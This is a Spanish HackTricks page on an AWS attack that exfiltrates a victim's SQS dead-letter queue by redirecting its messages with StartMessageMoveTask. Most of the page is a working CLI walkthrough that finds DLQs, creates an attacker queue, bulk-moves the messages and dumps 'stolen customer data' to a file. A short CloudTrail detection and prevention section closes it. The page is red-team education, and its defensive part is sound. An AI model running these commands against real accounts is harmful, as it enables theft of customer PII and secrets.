AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Descripción

Abusa de las tareas de movimiento de mensajes de SQS para robar todos los mensajes acumulados de la Dead-Letter Queue (DLQ) de una víctima redirigiéndolos a una cola controlada por el atacante usando sqs:StartMessageMoveTask. Esta técnica explota la funcionalidad legítima de recuperación de mensajes de AWS para exfiltrar datos sensibles que se han ido acumulando en las DLQs con el tiempo.

¿Qué es una Dead-Letter Queue (DLQ)?

Una Dead-Letter Queue es una cola especial de SQS donde los mensajes se envían automáticamente cuando no pueden ser procesados correctamente por la aplicación principal. Estos mensajes fallidos a menudo contienen:

  • Datos sensibles de la aplicación que no pudieron procesarse
  • Detalles de errores e información para depuración
  • Información personal identificable (PII)
  • Tokens de API, credenciales u otros secretos
  • Datos de transacciones críticos para el negocio

Las DLQs actúan como un “cementerio” para mensajes fallidos, lo que las convierte en objetivos valiosos ya que acumulan datos sensibles con el tiempo que las aplicaciones no pudieron manejar correctamente.

Escenario de ataque

Ejemplo en el mundo real:

  1. Aplicación de e-commerce procesa pedidos de clientes mediante SQS
  2. Algunos pedidos fallan (problemas de pago, inventario, etc.) y se mueven a una DLQ
  3. La DLQ acumula semanas/meses de pedidos fallidos que contienen datos de clientes: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
  4. El atacante obtiene acceso a credenciales de AWS con permisos de SQS
  5. El atacante descubre que la DLQ contiene miles de pedidos fallidos con datos sensibles
  6. En lugar de intentar acceder a mensajes individuales (lento y obvio), el atacante usa StartMessageMoveTask para transferir al por mayor TODOS los mensajes a su propia cola
  7. El atacante extrae todos los datos sensibles históricos en una sola operación

Requisitos

  • La cola origen debe estar configurada como DLQ (referenciada por al menos una RedrivePolicy de alguna cola).
  • Permisos IAM (ejecutados como el principal víctima comprometido):
  • En la DLQ (origen): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
  • En la cola de destino: permiso para entregar mensajes (por ejemplo, una queue policy que permita sqs:SendMessage desde el principal víctima). Para destinos en la misma cuenta esto suele estar permitido por defecto.
  • Si SSE-KMS está habilitado: en la CMK de origen kms:Decrypt, y en la CMK de destino kms:GenerateDataKey, kms:Encrypt.

Impacto

Impacto potencial: Exfiltrar cargas útiles sensibles acumuladas en DLQs (eventos fallidos, PII, tokens, payloads de aplicación) a alta velocidad usando las APIs nativas de SQS. Funciona cross-account si la policy de la cola de destino permite SendMessage desde el principal víctima.

Cómo abusar

  • Identifica el ARN de la DLQ víctima y asegúrate de que esté realmente referenciada como DLQ por alguna cola (cualquier cola sirve).
  • Crea o elige una cola de destino controlada por el atacante y obtén su ARN.
  • Inicia una tarea de movimiento de mensajes desde la DLQ víctima a tu cola de destino.
  • Monitoriza el progreso o cancela si es necesario.

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Escenario: Un atacante ha comprometido credenciales de AWS y ha descubierto que una aplicación de e-commerce usa SQS con una DLQ que contiene intentos fallidos de procesamiento de pedidos de clientes.

  1. Discover and examine the victim DLQ
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
  1. Crear una cola de destino controlada por el atacante
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
  1. Ejecutar la exfiltración masiva de mensajes
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
  1. Recolectar los datos sensibles robados
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Notas entre cuentas

  • La cola de destino debe tener una política de recursos que permita al principal de la víctima sqs:SendMessage (y, si se usan, concesiones/permisos de KMS).

Por qué este ataque es efectivo

  1. Funcionalidad legítima de AWS: Utiliza funcionalidades integradas de AWS, lo que dificulta su detección como maliciosa
  2. Operación masiva: Transfiere miles de mensajes rápidamente en lugar de accesos individuales y lentos
  3. Datos históricos: DLQs acumulan datos sensibles durante semanas/meses
  4. Fuera del radar: Muchas organizaciones no supervisan de cerca el acceso a las DLQs
  5. Capaz entre cuentas: Puede exfiltrar a la propia cuenta de AWS del atacante si los permisos lo permiten

Detección y prevención

Detección

Supervisar CloudTrail en busca de llamadas API sospechosas StartMessageMoveTask:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Prevención

  1. Principio de mínimo privilegio: Restringir los permisos sqs:StartMessageMoveTask solo a los roles necesarios
  2. Monitorear DLQs: Configurar alarmas de CloudWatch para actividad inusual en DLQs
  3. Políticas entre cuentas: Revisar cuidadosamente las políticas de colas SQS que permiten acceso entre cuentas
  4. Encriptar DLQs: Usar SSE-KMS con políticas de claves restringidas
  5. Limpieza regular: No permitir que datos sensibles se acumulen en DLQs indefinidamente

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks